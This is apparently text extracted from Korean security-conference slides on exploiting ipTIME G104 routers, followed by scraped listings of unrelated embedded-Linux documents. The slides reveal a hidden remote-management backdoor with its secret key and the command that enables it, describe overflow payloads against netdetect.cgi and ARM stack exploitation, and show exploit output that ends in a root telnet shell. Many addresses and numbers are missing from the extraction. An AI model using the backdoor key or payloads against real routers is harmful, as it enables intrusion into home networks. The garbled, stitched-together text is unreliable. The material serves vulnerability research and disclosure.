123 ltrace 컴파일 tar.bz2/f5d9282b471cdf9fbafd916ec5be0717/ export CC=/root/cross-compiler-armv4l/bin/armv4l-gcc export STRIP=/root/cross-compiler-armv4l/bin/armv4l-strip Libelf 설치 : --host=arm-linux make * 컴파일시많은에러가발생함, 다음페이지의 buildroot 를이용하길추천

124 Buildroot 의활용 Buildroot Root File System 구축을도와주는통합도구 tar.gz tar xvfz make ARCH=arm menuconfig Target architecture => ARM (little endian) Target package => Debugging.. => strace, ltrace Save => exit make (ARCH, CROSS_COMPLIE 옵션 X)

125 외부파일다운로드 임베디드기기에파일을올릴때필요 Not exist wget, nc, scp, ftp, rz, Exist /sbin/http /sbin/http get > gdb

126 임베디드기기의용량문제 /var/run # df Filesystem 1k-blocks Used Available Use% Mounted on rootfs % / /dev/root % / /dev/cramfs % /cramfs /dev/ram % /save /var/run # IPTIME G104 의경우, 바이너리의용량은대략 300kb 이하여야한다. 새로운바이너리를올리기에부족한용량.

127 용량제한탈출! / # mount rootfs on / type rootfs (rw) /dev/root on / type ext2 (rw) /dev/cramfs on /cramfs type squashfs (ro) proc on /proc type proc (rw) ramfs on /tmp type ramfs (rw) /dev/ram1 on /save type ext2 (rw) / # RAMFS => RAM 의남은용량만큼을파일시스템으로사용가능 / # cat /proc/meminfo MemTotal: kb MemFree: 6796 kb / #

128 발견된취약점! 원격관리용백도어 netdetect.cgi 의원격 Buffer Overflow 취약점 그외여러취약점들.. smtp command injection httpd apcpd

129 원격관리용백도어분석

130 원격관리용백도어 (old) 2007 년도에 ISSUE 가됐었음 ( 내부명령실행, 파일열람모두가능 디버깅과개발시편의성을위해만들어진페이지 (?)

131 원격관리용백도어 (new) 패스워드 (Key) 추가 리버싱을통해알아낼수있음 Setting value 추가 위두조건을만족시키면여전히접근가능

132 원격관리용백도어 (new) [timepro.cgi] The Key : aaksjdkfj=#notenoughmineral^

133 원격관리용백도어 (new)

134 원격관리용백도어 (new) 원격관리기능활성화 /etc # echo remote_support=1 >> /etc/iconfig.cfg kfj=%23notenoughmineral%5e&dapply= +Show+

135 원격관리용백도어 (new)

136 Buffer Overflow 취약점분석

137 Remote Buffer Overflow Timepro.cgi == Netdetect.cgi (Symbolic Link)

138 Netdetect.cgi ( 관리자암호없이도접속가능 )

139 URL 파라미터처리부

140 Strcpy!!

141 Strcpy!!

142 Remote Buffer Overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 혹은 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 혹은 Content-Type = AAAAAAAAAAAAAAAAAAAAAAAAAAAA x1100

143 Remote Buffer Overflow /cramfs/ndbin # /strace -i /cramfs/ndbin/netdetect.cgi commit=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB ) = 171 [b6f9eed0] write(1, "\n", 1 ) = 1 [b6f9eed0] write(1, "\n", 1 ) = 1 [b6f9ee9c] read(3, "noline_box { padding:0px 0px 0px"..., 256) = 74 [b6f9eed0] write(1, ".noline_box { padding:0px 0px 0p"..., 75.noline_box { padding:0px 0px 0px 0px; border-style:none none none none; } ) = 75 [b6f9ee9c] read(3, "", 256) = 0 [b6f9ef38] close(3) = 0 [b6f9eed0] write(1, "</style></head>\n", 16</style></head> ) = 16 [b6f9ef04] open("/var/run/icv_check", O_RDONLY) = -1 ENOENT (No such file or directory) [b6f9eed0] write(1, "</html>\n", 8</html> ) = 8 [ ] --- SIGSEGV {si_signo=sigsegv, si_code=segv_maperr, si_addr=0x } --- [????????] +++ killed by SIGSEGV +++ /cramfs/ndbin #

144 Buffer Overflow 취약점 타겟 IP/nd-bin/netdetect.cgi?commit=AAAAAAAAAAAAAAAA~ Stack Memory Buffer BEFORE STRCPY() R11 SP LR AFTER STRCPY() aaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaa aaaa aaaa LR(PC)

145 ShellCode 를어디에? 보안시스템확인 ASLR (X) DEP (X) STACK 과 HEAP 에서 Shellcode 실행가능 Stack Dump 최종대상선정 HTTP User-Agent Header

146 Buffer Overflow 취약점 aaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaa aaaa aaaa Buffer R11 SP LR(PC) 쉘코드를어디에올릴것인가? CGI 는환경변수에 HTTP 데이터를저장한다. User-Agent : utelnetd 구동, iptables 에서 telnet 허용쉘코드

147 ARM Exploitation

148 ARM assembly 함수호출 함수인자전달 지역스택확보 스택 push/pop base pointer Return address 전달 / 복귀 Shellcode 분석

149 ARM assembly #include <stdio.h> int my_func(int a, int b, int c) { int sum; sum = a+b+c; return sum; } void main() { int ret; } ret = my_func(1, 2, 3); printf("sum = %d\n", ret);

150 레지스터목록 (gdb) b *main Breakpoint 1 at 0x83e0 (gdb) r Starting program: /root/test Breakpoint 1, 0x000083e0 in main () Current language: auto; currently asm (gdb) info reg r0 0x1 1 r1 0xbefefe r2 0xbefefe3c r3 0x0 0 r4 0x r5 0x0 0 r6 0x82d r7 0x0 0 r8 0x0 0 r9 0x0 0 r10 0x r11 0x0 0 r12 0x83e sp 0xbefefdac 0xbefefdac lr 0x4003c06c pc 0x83e0 0x83e0 <main> fps 0x cpsr 0x (gdb)

151 함수인자전달 (gdb) disass main Dump of assembler code for function main: 0x <+0>: push {r11, lr} 0x <+4>: add r11, sp, #4 0x c <+8>: sub sp, sp, #8 0x <+12>: mov r0, #1 0x <+16>: mov r1, #2 0x <+20>: mov r2, #3 0x c <+24>: bl 0x8430 <my_func> 0x <+28>: str r0, [r11, #-8] 0x <+32>: ldr r3, [pc, #16] ; 0x84ac <main+56> 0x <+36>: mov r0, r3 0x c <+40>: ldr r1, [r11, #-8] 0x000084a0 <+44>: bl 0x837c <printf> 0x000084a4 <+48>: sub sp, r11, #4 0x000084a8 <+52>: pop {r11, pc} End of assembler dump. (gdb)

152 함수호출 (gdb) disass main Dump of assembler code for function main: 0x <+0>: push {r11, lr} 0x <+4>: add r11, sp, #4 0x c <+8>: sub sp, sp, #8 0x <+12>: mov r0, #1 0x <+16>: mov r1, #2 0x <+20>: mov r2, #3 0x c <+24>: bl 0x8430 <my_func> 0x <+28>: str r0, [r11, #-8] 0x <+32>: ldr r3, [pc, #16] ; 0x84ac <main+56> 0x <+36>: mov r0, r3 0x c <+40>: ldr r1, [r11, #-8] 0x000084a0 <+44>: bl 0x837c <printf> 0x000084a4 <+48>: sub sp, r11, #4 0x000084a8 <+52>: pop {r11, pc} End of assembler dump. (gdb)

153 지역스택확보 (gdb) disass main Dump of assembler code for function main: 0x <+0>: push {r11, lr} 0x <+4>: add r11, sp, #4 0x c <+8>: sub sp, sp, #8 0x <+12>: mov r0, #1 0x <+16>: mov r1, #2 0x <+20>: mov r2, #3 0x c <+24>: bl 0x8430 <my_func> 0x <+28>: str r0, [r11, #-8] 0x <+32>: ldr r3, [pc, #16] ; 0x84ac <main+56> 0x <+36>: mov r0, r3 0x c <+40>: ldr r1, [r11, #-8] 0x000084a0 <+44>: bl 0x837c <printf> 0x000084a4 <+48>: sub sp, r11, #4 0x000084a8 <+52>: pop {r11, pc} End of assembler dump. (gdb)

154 STACK PUSH/POP (gdb) disass main Dump of assembler code for function main: 0x <+0>: push {r11, lr} // lr이먼저들어간다. 0x <+4>: add r11, sp, #4 0x c <+8>: sub sp, sp, #8 0x <+12>: mov r0, #1 0x <+16>: mov r1, #2 0x <+20>: mov r2, #3 0x c <+24>: bl 0x8430 <my_func> 0x <+28>: str r0, [r11, #-8] 0x <+32>: ldr r3, [pc, #16] ; 0x84ac <main+56> 0x <+36>: mov r0, r3 0x c <+40>: ldr r1, [r11, #-8] 0x000084a0 <+44>: bl 0x837c <printf> 0x000084a4 <+48>: sub sp, r11, #4 0x000084a8 <+52>: pop {r11, pc} End of assembler dump. (gdb)

155 Base Pointer (gdb) disass main Dump of assembler code for function main: 0x <+0>: push {r11, lr} 0x <+4>: add r11, sp, #4 0x c <+8>: sub sp, sp, #8 0x <+12>: mov r0, #1 0x <+16>: mov r1, #2 0x <+20>: mov r2, #3 0x c <+24>: bl 0x8430 <my_func> 0x <+28>: str r0, [r11, #-8] 0x <+32>: ldr r3, [pc, #16] ; 0x84ac <main+56> 0x <+36>: mov r0, r3 0x c <+40>: ldr r1, [r11, #-8] 0x000084a0 <+44>: bl 0x837c <printf> 0x000084a4 <+48>: sub sp, r11, #4 0x000084a8 <+52>: pop {r11, pc} End of assembler dump. (gdb)

156 Function call (gdb) disass main Dump of assembler code for function main: 0x <+0>: push {r11, lr} 0x <+4>: add r11, sp, #4 0x c <+8>: sub sp, sp, #8 0x <+12>: mov r0, #1 0x <+16>: mov r1, #2 0x <+20>: mov r2, #3 0x c <+24>: bl 0x8430 <my_func> 0x <+28>: str r0, [r11, #-8] 0x <+32>: ldr r3, [pc, #16] ; 0x84ac <main+56> 0x <+36>: mov r0, r3 0x c <+40>: ldr r1, [r11, #-8] 0x000084a0 <+44>: bl 0x837c <printf> 0x000084a4 <+48>: sub sp, r11, #4 0x000084a8 <+52>: pop {r11, pc} End of assembler dump. (gdb)

157 Child function (gdb) disass my_func Dump of assembler code for function my_func: 0x <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x <+4>: add r11, sp, #0 0x <+8>: sub sp, sp, #28 0x c <+12>: str r0, [r11, #-16] 0x <+16>: str r1, [r11, #-20] 0x <+20>: str r2, [r11, #-24] 0x <+24>: ldr r2, [r11, #-16] 0x c <+28>: ldr r3, [r11, #-20] 0x <+32>: add r2, r2, r3 0x <+36>: ldr r3, [r11, #-24] 0x <+40>: add r3, r2, r3 0x c <+44>: str r3, [r11, #-8] 0x <+48>: ldr r3, [r11, #-8] 0x <+52>: mov r0, r3 0x <+56>: add sp, r11, #0 0x c <+60>: pop {r11} ; (ldr r11, [sp], #4) 0x <+64>: bx lr (Link Register) End of assembler dump. (gdb)

158 bx VS bl b : branch 상대주소기반점프 bx : Branch and exchange 레지스터기반절대주소점프 bl : Branch with link 주소점프 ( 오프셋 ) + lr에 RET 저장 blx : Branch with link and exchange 레지스터점프 + lr 에 RET 저장

159 str and ldr ldr Load 특정주소에서값불러오기 EX> ldr r2, [r11, #-16] ( 방향 ) Str Store 특정주소에값저장하기 EX> str r0, [r11, #-16] ( 방향 )

160 ARM 기반 Buffer Overflow 공격방식 ARM 은 lr 레지스터를통해함수복귀를하기때문에기존의 stack buffer overflow 와는공격방식이조금다르다. ( 즉, RET 를 stack 에저장하지않는다!) [ 공격이가능한경우 ] 1. lr 을스택에저장하는경우 자식함수를호출하는경우현재 lr 을스택에저장 2. 다른함수의 stack frame 까지덮을수있는경우 대부분의경우가 1 번에해당 strcpy 등자식함수를호출하면서취약점이발생하므로

161 예제 1 (lr 을저장하지않는경우 ) int my_func(int a, int b, int c) { int sum; sum = a+b+c; } return sum;

162 예제 1 (lr 을저장하지않는경우 ) (gdb) disass my_func Dump of assembler code for function my_func: 0x <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x <+4>: add r11, sp, #0 0x <+8>: sub sp, sp, #28 0x c <+12>: str r0, [r11, #-16] 0x <+16>: str r1, [r11, #-20] 0x <+20>: str r2, [r11, #-24] 0x <+24>: ldr r2, [r11, #-16] 0x c <+28>: ldr r3, [r11, #-20] 0x <+32>: add r2, r2, r3 0x <+36>: ldr r3, [r11, #-24] 0x <+40>: add r3, r2, r3 0x c <+44>: str r3, [r11, #-8] 0x <+48>: ldr r3, [r11, #-8] 0x <+52>: mov r0, r3 0x <+56>: add sp, r11, #0 0x c <+60>: pop {r11} ; (ldr r11, [sp], #4) 0x <+64>: bx lr End of assembler dump. (gdb)

163 예제 2 (lr 을저장하는경우 ) int my_func(int a, int b, int c) { int sum; sum = a+b+c; } printf("hi\n"); return sum;

164 예제 2 (lr 을저장하는경우 ) (gdb) disass my_func Dump of assembler code for function my_func: 0x <+0>: push {r11, lr} 0x <+4>: add r11, sp, #4 0x <+8>: sub sp, sp, #24 0x c <+12>: str r0, [r11, #-16] 0x <+16>: str r1, [r11, #-20] 0x <+20>: str r2, [r11, #-24] 0x <+24>: ldr r2, [r11, #-16] 0x c <+28>: ldr r3, [r11, #-20] 0x <+32>: add r2, r2, r3 0x <+36>: ldr r3, [r11, #-24] 0x <+40>: add r3, r2, r3 0x c <+44>: str r3, [r11, #-8] 0x <+48>: ldr r0, [pc, #16] ; 0x84a8 <my_func+72> 0x <+52>: bl 0x83ac <puts> 0x <+56>: ldr r3, [r11, #-8] 0x c <+60>: mov r0, r3 0x000084a0 <+64>: sub sp, r11, #4 0x000084a4 <+68>: pop {r11, pc} End of assembler dump. (gdb)

165 Remote Exploiting IPTIME! Iptime_exploit.py ~]# python iptime_exploit.py [+] UpnP_Port Good [+] upnp Requesting -80- [-] Perhaps good [+] upnp Requesting -23- [-] Perhaps good [+] Port Mapping Good [+] Attacking. Please Wait... [+] Router Pwned!! [+] TELNET port Opened [+] Let's Teleport to it Trying Connected to ( ). Escape character is '^]'. BusyBox v ( : ) Built-in shell (lash) Enter 'help' for a list of built-in commands. / # ls al lrwxrwxrwx bin -> /cramfs/bin lrwxrwxrwx sbin -> /cramfs/sbin drwxr-xr-x home drwxr-xr-x etc drwxr-xr-x dev drwxr-xr-x cramfs / #

166 결론 임베디드장비취약점분석절차요약 대상선정 펌웨어획득 파일의구조이해 사용자입력가능바이너리탐색 바이너리분석및취약점탐지 디버깅 Exploit 개발

167 감사합니다!

슬라이드 1

슬라이드 1 Flash Memory Dump 실습 mongii@grayhash 개요 임베디드장비가사용하는운영체제및어플리케이션코드들은대부분 Flash Memory 에저장된다. Flash Memory Dumper 구현을통해작동방식을이해하고, CPU 주변의 IC 들을자유롭게제어할수있는개발능력을향상시킨다. IC 의 Datasheet 를이해하고활용하는방법을습득한다. 목차 대상기기

More information

슬라이드 1

슬라이드 1 Smart Phone Hacking! 정구홍 @BoB 2013-08-20 강의일정 1 차 : Inside of Smart Phone Composition of Smart Phone Building Linux & Android 2 차 : Remote Attack Remote Attack Vectors Case study : Flash Vulnerability

More information

슬라이드 제목 없음

슬라이드 제목 없음 < > Target cross compiler Target code Target Software Development Kit (SDK) T-Appl T-Appl T-VM Cross downloader Cross debugger Case 1) Serial line Case 2) LAN line LAN line T-OS Target debugger Host System

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 임베디드리눅스개발환경실습 Jo, Heeseung 타겟보드모니터링동작실습 호스트 PC 에서시리얼포트를통해서타겟보드를모니터링 타겟보드가프로그램을실행하는동안일어나는일을시리얼포트로메시지를출력하면호스트 PC 에서는시리얼포트를통해메시지를수신하여이를화면에출력 minicom 프로그램사용 - minicom 이정상적으로설정이되고, 타겟보드에최소한부트로더가올라간상태라면 minicom

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 (Host) set up : Linux Backend RS-232, Ethernet, parallel(jtag) Host terminal Target terminal : monitor (Minicom) JTAG Cross compiler Boot loader Pentium Redhat 9.0 Serial port Serial cross cable Ethernet

More information

LXR 설치 및 사용법.doc

LXR 설치 및 사용법.doc Installation of LXR (Linux Cross-Reference) for Source Code Reference Code Reference LXR : 2002512( ), : 1/1 1 3 2 LXR 3 21 LXR 3 22 LXR 221 LXR 3 222 LXR 3 3 23 LXR lxrconf 4 24 241 httpdconf 6 242 htaccess

More information

Mango220 Android How to compile and Transfer image to Target

Mango220 Android How to compile and Transfer image to Target Mango220 Android How to compile and Transfer image to Target http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys

More information

Sena Technologies, Inc. HelloDevice Super 1.1.0

Sena Technologies, Inc. HelloDevice Super 1.1.0 HelloDevice Super 110 Copyright 1998-2005, All rights reserved HelloDevice 210 ()137-130 Tel: (02) 573-5422 Fax: (02) 573-7710 E-Mail: support@senacom Website: http://wwwsenacom Revision history Revision

More information

1217 WebTrafMon II

1217 WebTrafMon II (1/28) (2/28) (10 Mbps ) Video, Audio. (3/28) 10 ~ 15 ( : telnet, ftp ),, (4/28) UDP/TCP (5/28) centralized environment packet header information analysis network traffic data, capture presentation network

More information

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D313939392D382E687770>

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D313939392D382E687770> i ii iii iv v vi 1 2 3 4 가상대학 시스템의 국내외 현황 조사 가상대학 플랫폼 개발 이상적인 가상대학시스템의 미래상 제안 5 웹-기반 가상대학 시스템 전통적인 교수 방법 시간/공간 제약을 극복한 학습동기 부여 교수의 일방적인 내용전달 교수와 학생간의 상호작용 동료 학생들 간의 상호작용 가상대학 운영 공지사항,강의록 자료실, 메모 질의응답,

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 BOOTLOADER Jo, Heeseung 부트로더컴파일 부트로더소스복사및압축해제 부트로더소스는웹페이지에서다운로드 /working 디렉터리로이동한후, wget으로다운로드 이후작업은모두 /working 디렉터리에서진행 root@ubuntu:# cp /media/sm5-linux-111031/source/platform/uboot-s4210.tar.bz2 /working

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

임베디드시스템설계강의자료 4 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 4 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 4 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 Outline n n n n n n 보드개요보드연결필수패키지, Tool-Chain 설치 Kernel, file system build Fastboot 및 Tera Term설치 Kernel, file system 이미지전송및설치 - 2 - Young-Jin Kim X-Hyper320TKU

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 임베디드리눅스개발환경구축 Jo, Heeseung 개발환경 HBE-SM5-S4210 개발환경 타겟보드와리눅스가설치된호스트컴퓨터가필요 임베디드리눅스개발환경 - 호스트컴퓨터환경설치 - 호스트와타겟연결 - 디버그환경 호스트컴퓨터는임베디드시스템의동작을모니터링하는디버깅환경으로서의역할도수행 임베디드시스템을위한소프트웨어를개발하기위해서호스트시스템에구축하는개발환경 교차개발환경

More information

본문서는 초급자들을 대상으로 최대한 쉽게 작성하였습니다. 본문서에서는 설치방법만 기술했으며 자세한 설정방법은 검색을 통하시기 바랍니다. 1. 설치개요 워드프레스는 블로그 형태의 홈페이지를 빠르게 만들수 있게 해 주는 프로그램입니다. 다양한 기능을 하는 플러그인과 디자인

본문서는 초급자들을 대상으로 최대한 쉽게 작성하였습니다. 본문서에서는 설치방법만 기술했으며 자세한 설정방법은 검색을 통하시기 바랍니다. 1. 설치개요 워드프레스는 블로그 형태의 홈페이지를 빠르게 만들수 있게 해 주는 프로그램입니다. 다양한 기능을 하는 플러그인과 디자인 스마일서브 CLOUD_Virtual 워드프레스 설치 (WORDPRESS INSTALL) 스마일서브 가상화사업본부 Update. 2012. 09. 04. 본문서는 초급자들을 대상으로 최대한 쉽게 작성하였습니다. 본문서에서는 설치방법만 기술했으며 자세한 설정방법은 검색을 통하시기 바랍니다. 1. 설치개요 워드프레스는 블로그 형태의 홈페이지를 빠르게 만들수 있게

More information

28 THE ASIAN JOURNAL OF TEX [2] ko.tex [5]

28 THE ASIAN JOURNAL OF TEX [2] ko.tex [5] The Asian Journal of TEX, Volume 3, No. 1, June 2009 Article revision 2009/5/7 KTS THE KOREAN TEX SOCIETY SINCE 2007 2008 ko.tex Installing TEX Live 2008 and ko.tex under Ubuntu Linux Kihwang Lee * kihwang.lee@ktug.or.kr

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 임베디드리눅스개발환경실습 Jo, Heeseung 타겟보드모니터링동작실습 호스트 PC 에서시리얼포트를통해서타겟보드를모니터링 타겟보드가프로그램을실행하는동안일어나는일을시리얼포트로메시지를출력하면호스트 PC 에서는시리얼포트를통해메시지를수신하여이를화면에출력 minicom 프로그램사용 - minicom 이정상적으로설정이되고, 타겟보드에최소한부트로더가올라간상태라면 minicom

More information

Microsoft PowerPoint - 03-Development-Environment-2.ppt

Microsoft PowerPoint - 03-Development-Environment-2.ppt 개발환경 2 임베디드시스템소프트웨어 I 차례 부트로더의기능, 컴파일방법 커널의기능, 컴파일방법 파일시스템의기능, 생성방법 Host-KIT 네트워크연결방법 (Bootp, TFTP, NFS) 개발환경 2 2 부트로더의기능 하드웨어초기화 CPU clock, Memory Timing, Interrupt, UART, GPIO 등을초기화 커널로드 커널이미지를 flash

More information

untitled

untitled Step Motor Device Driver Embedded System Lab. II Step Motor Step Motor Step Motor source Embedded System Lab. II 2 open loop, : : Pulse, 1 Pulse,, -, 1 +5%, step Step Motor (2),, Embedded System Lab. II

More information

Mango-AM335x LCD Type 커널 Module Parameter에서 변경하기

Mango-AM335x LCD Type 커널 Module Parameter에서 변경하기 Mango-AM335x LCD Type 커널 Module Parameter 에서 변경하기 http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys CRZ Technology

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 임베디드리눅스개발환경구축 Jo, Heeseung 개발환경 HBE-SM5-S4210 개발환경 타겟보드와리눅스가설치된호스트컴퓨터가필요 임베디드리눅스개발환경 - 호스트컴퓨터환경설치 - 호스트와타겟연결 - 디버그환경 호스트컴퓨터는임베디드시스템의동작을모니터링하는디버깅환경으로서의역할도수행 임베디드시스템을위한소프트웨어를개발하기위해서호스트시스템에구축하는개발환경 교차개발환경

More information

휠세미나3 ver0.4

휠세미나3 ver0.4 andromeda@sparcs:/$ ls -al dev/sda* brw-rw---- 1 root disk 8, 0 2014-06-09 18:43 dev/sda brw-rw---- 1 root disk 8, 1 2014-06-09 18:43 dev/sda1 brw-rw---- 1 root disk 8, 2 2014-06-09 18:43 dev/sda2 andromeda@sparcs:/$

More information

MySQL-Ch10

MySQL-Ch10 10 Chapter.,,.,, MySQL. MySQL mysqld MySQL.,. MySQL. MySQL....,.,..,,.,. UNIX, MySQL. mysqladm mysqlgrp. MySQL 608 MySQL(2/e) Chapter 10 MySQL. 10.1 (,, ). UNIX MySQL, /usr/local/mysql/var, /usr/local/mysql/data,

More information

망고100 보드로 놀아보자-4

망고100 보드로 놀아보자-4 망고 100 보드로놀아보자 -4 Minicom,tftp,nfs 설정,vnc 설정 minicom 설정 Minicom 설정 >#yum install minicom >#ls /dev/ttyusb* ># minicom s Minicom 설정 Serial Device :/dev/ttyusb0 Baudrate:115200 Hardware Flow control: NO

More information

LN_5_Rootfs

LN_5_Rootfs 프로젝트 2 Root Filesystem 단국대학교 컴퓨터학과 2009 백승재 baeksj@dankook.ac.kr http://embedded.dankook.ac.kr/~baeksj Ramdisk 에대한이해 강의목표 Root filesystem 의구조이해 Root filesystem 제작과정이해 Ramdisk 기반 root filesystem 제작 3 RAMdisk?

More information

지난시간에... 우리는 kernel compile을위하여 cross compile 환경을구축했음. UBUNTU 12.04에서 arm-2009q3를사용하여 간단한 c source를빌드함. 한번은 intel CPU를위한 gcc로, 한번은 ARM CPU를위한 gcc로. AR

지난시간에... 우리는 kernel compile을위하여 cross compile 환경을구축했음. UBUNTU 12.04에서 arm-2009q3를사용하여 간단한 c source를빌드함. 한번은 intel CPU를위한 gcc로, 한번은 ARM CPU를위한 gcc로. AR Configure Kernel Build Environment And kernel & root file system Build 2018-09-27 VLSI Design Lab 1 지난시간에... 우리는 kernel compile을위하여 cross compile 환경을구축했음. UBUNTU 12.04에서 arm-2009q3를사용하여 간단한 c source를빌드함.

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

MAX+plus II Getting Started - 무작정따라하기

MAX+plus II Getting Started - 무작정따라하기 무작정 따라하기 2001 10 4 / Version 20-2 0 MAX+plus II Digital, Schematic Capture MAX+plus II, IC, CPLD FPGA (Logic) ALTERA PLD FLEX10K Series EPF10K10QC208-4 MAX+plus II Project, Schematic, Design Compilation,

More information

Microsoft PowerPoint - 02-Development-Environment-1.ppt

Microsoft PowerPoint - 02-Development-Environment-1.ppt 개발환경 1 임베디드시스템소프트웨어 I 차례 개발환경 Host와 Target의연결 Host 및 target 사양 Toolchain이란, 설치방법 시험 Cross Compile Minicom 설정및사용방법 JTAG 설치및사용방법 Bootloader, kernel, file system flash 방법 개발환경 1 2 개발환경 Host 시스템 임베디드소프트웨어를개발하는시스템

More information

hd1300_k_v1r2_Final_.PDF

hd1300_k_v1r2_Final_.PDF Starter's Kit for HelloDevice 1300 Version 11 1 2 1 2 3 31 32 33 34 35 36 4 41 42 43 5 51 52 6 61 62 Appendix A (cross-over) IP 3 Starter's Kit for HelloDevice 1300 1 HelloDevice 1300 Starter's Kit HelloDevice

More information

1. efolder 시스템구성 A. DB B. apache - mod-perl - PHP C. SphinxSearch ( 검색서비스 ) D. File Storage 2. efolder 설치순서 A. DB (MySQL) B. efolder Service - efolder

1. efolder 시스템구성 A. DB B. apache - mod-perl - PHP C. SphinxSearch ( 검색서비스 ) D. File Storage 2. efolder 설치순서 A. DB (MySQL) B. efolder Service - efolder Embian efolder 설치가이드 efolder 시스템구성 efolder 설치순서 Installation commands 1. efolder 시스템구성 A. DB B. apache - mod-perl - PHP C. SphinxSearch ( 검색서비스 ) D. File Storage 2. efolder 설치순서 A. DB (MySQL) B. efolder

More information

C 프로그래밍 언어 입문 C 프로그래밍 언어 입문 김명호저 숭실대학교 출판국 머리말..... C, C++, Java, Fortran, Python, Ruby,.. C. C 1972. 40 C.. C. 1999 C99. C99. C. C. C., kmh ssu.ac.kr.. ,. 2013 12 Contents 1장 프로그래밍 시작 1.1 C 10 1.2 12

More information

untitled

untitled Push... 2 Push... 4 Push... 5 Push... 13 Push... 15 1 FORCS Co., LTD A Leader of Enterprise e-business Solution Push (Daemon ), Push Push Observer. Push., Observer. Session. Thread Thread. Observer ID.

More information

Remote UI Guide

Remote UI Guide Remote UI KOR Remote UI Remote UI PDF Adobe Reader/Adobe Acrobat Reader. Adobe Reader/Adobe Acrobat Reader Adobe Systems Incorporated.. Canon. Remote UI GIF Adobe Systems Incorporated Photoshop. ..........................................................

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

bn2019_2

bn2019_2 arp -a Packet Logging/Editing Decode Buffer Capture Driver Logging: permanent storage of packets for offline analysis Decode: packets must be decoded to human readable form. Buffer: packets must temporarily

More information

/chroot/lib/ /chroot/etc/

/chroot/lib/ /chroot/etc/ 구축 환경 VirtualBox - Fedora 15 (kernel : 2.6.40.4-5.fc15.i686.PAE) 작동 원리 chroot유저 ssh 접속 -> 접속유저의 홈디렉토리 밑.ssh의 rc 파일 실행 -> daemonstart실행 -> daemon 작동 -> 접속 유저만의 Jail 디렉토리 생성 -> 접속 유저의.bashrc 의 chroot 명령어

More information

슬라이드 1

슬라이드 1 / 유닉스시스템개요 / 파일 / 프로세스 01 File Descriptor file file descriptor file type unix 에서의파일은단지바이트들의나열임 operating system 은파일에어떤포맷도부과하지않음 파일의내용은바이트단위로주소를줄수있음 file descriptor 는 0 이나양수임 file 은 open 이나 creat 로 file

More information

Microsoft Word ARM_ver2_0a.docx

Microsoft Word ARM_ver2_0a.docx [Smart]0703-ARM 프로그램설치 _ver1_0a 목차 1 윈도우기반으로리눅스컴파일하기 (Cygwin, GNU ARM 설치 )... 2 1.1 ARM datasheet 받기... 2 1.2 Cygwin GCC-4.0 4.1 4.2 toolchain 파일받기... 2 1.3 Cygwin 다운로드... 3 1.4 Cygwin Setup... 5 2 Cygwin

More information

DE1-SoC Board

DE1-SoC Board 실습 1 개발환경 DE1-SoC Board Design Tools - Installation Download & Install Quartus Prime Lite Edition http://www.altera.com/ Quartus Prime (includes Nios II EDS) Nios II Embedded Design Suite (EDS) is automatically

More information

1. 안드로이드개발환경설정 안드로이드개발을위해선툴체인을비롯한다양한소프트웨어패키지가필요합니다 툴체인 (Cross-Compiler) 설치 안드로이드 2.2 프로요부터는소스에기본툴체인이 prebuilt 라는이름으로포함되어있지만, 리눅스 나부트로더 (U-boot)

